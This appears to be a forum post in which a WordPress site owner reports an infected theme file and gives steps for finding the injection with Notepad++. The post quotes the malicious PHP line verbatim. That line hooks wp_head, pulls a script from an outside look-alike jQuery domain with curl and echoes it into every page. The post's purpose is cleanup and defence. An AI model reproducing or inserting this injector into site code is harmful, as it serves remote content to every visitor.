In my case infected file was include\functions-init.php.
URL: http://www.jquerye.com/jquery-1.6.3.min.js
Line 1: <?php if (!function_exists(‘insert_inj’)){function insert_inj(){if (function_exists(‘curl_init’)){$url = “http://www.jquerye.com/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_inj’);} ?>
Download theme folder first, then download Notepad++ and open it, go to Find -> Find in files type in jquery-1.6.3.min.js, browse your downloaded theme folder.
